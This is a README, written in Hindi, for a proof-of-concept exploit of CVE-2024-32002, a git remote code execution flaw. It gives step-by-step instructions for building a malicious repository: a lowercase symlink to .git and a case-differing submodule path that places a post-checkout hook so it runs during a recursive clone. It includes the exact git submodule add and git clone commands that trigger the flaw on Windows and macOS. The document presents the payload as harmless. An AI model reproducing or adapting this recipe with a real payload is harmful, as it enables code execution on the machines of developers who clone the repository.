CVE-2024-32002 RCE POC
CVE-2024-32002 के लिए एक POC जो रिमोट कोड निष्पादन (RCE) प्रदर्शित करता है।
संबंधित सबमॉड्यूल रिपॉजिटरी के लिए cve-2024-32002-poc-rce देखें।
इस रिपॉजिटरी में क्या है
- एक सिमलिंक जिसका नाम मनमाना है और यह
.git निर्देशिका से लिंक करता है।
- एक
.gitmodules फ़ाइल जो दुर्भावनापूर्ण सबमॉड्यूल को परिभाषित करती है।
इस रिपॉजिटरी को कैसे पुनः बनाएं
यह रिपॉजिटरी लिनक्स (विशेष रूप से WSL2) में बनाई गई थी। यह महत्वपूर्ण है, दुर्भावनापूर्ण रिपॉजिटरी केवल केस-सेंसिटिव फ़ाइलसिस्टम पर ही बनाई जा सकती है।
- सभी लोअरकेस अक्षरों का उपयोग करके एक सिमलिंक बनाएं
नोट्स:
- सिमलिंक को .git फ़ोल्डर की ओर इंगित करना चाहिए, क्योंकि यह वह स्थान है जहाँ हम फ़ाइलें लिखना चाहते हैं
- सिमलिंक का नाम (submodule) मनमाना है, लेकिन यह लोअरकेस अक्षर से शुरू होना चाहिए
- यह महत्वपूर्ण है, क्योंकि लोअरकेस अक्षर अपरकेस अक्षरों से पहले क्रमबद्ध होते हैं। जब क्लोनिंग मशीन भ्रमित हो जाती है कि सबमॉड्यूल फ़ाइलें कहाँ लिखनी हैं, तो हम चाहते हैं कि वह एक सामान्य निर्देशिका के बजाय सिमलिंक को चुने।
- दुर्भावनापूर्ण सबमॉड्यूल जोड़ें, सबमॉड्यूल निर्देशिका नाम में केस अंतर पर ध्यान दें
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
नोट्स:
- सबमॉड्यूल का नाम ("rce/notexists") मायने रखता है, यह सबमॉड्यूल में हमारे हुक को रखते समय काम आएगा।
- "rce" को सबमॉड्यूल पथ के अंतिम खंड से मेल खाना चाहिए।
- "notexists" को सबमॉड्यूल निर्देशिका में hooks/post-checkout वाली निर्देशिका के नाम से मेल खाना चाहिए। cve-2024-32002-poc-rce देखें।
- सबमॉड्यूल पथ ("Submodule/modules/rce") की संरचना भी मायने रखती है:
- सबमॉड्यूल पथ का पहला खंड ("Submodule") ऊपर दिए गए सिमलिंक नाम से मेल खाना चाहिए, केवल केस में अंतर हो।
- दूसरा खंड ("modules")
.git निर्देशिका के अंदर उस पथ के नाम से मेल खाता है जो सबमॉड्यूल के लिए git स्थिति को ट्रैक करता है।
- तीसरा खंड ("rce") को ऊपर दिए गए सबमॉड्यूल नाम के पहले खंड से मेल खाना चाहिए।
POC कैसे चलाएं
यह कमजोरी केवल विंडोज और मैकओएस को प्रभावित करती है क्योंकि दोनों में केस-इनसेंसिटिव फ़ाइलसिस्टम होते हैं।
- जाँचें कि क्या आपके पास git का कोई कमजोर संस्करण है। प्रभावित संस्करणों के लिए GitHub सलाह देखें।
- सोचें कि क्या आप जानबूझकर ऐसा कमांड चलाना चाहते हैं जो RCE प्राप्त कर सकता है... यह रिपॉजिटरी हानिरहित है, लेकिन क्या आपको यकीन है?
- निम्नलिखित कमांड चलाएँ:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- यदि POC काम करता है, तो आप कुछ गणना करने में सक्षम होंगे!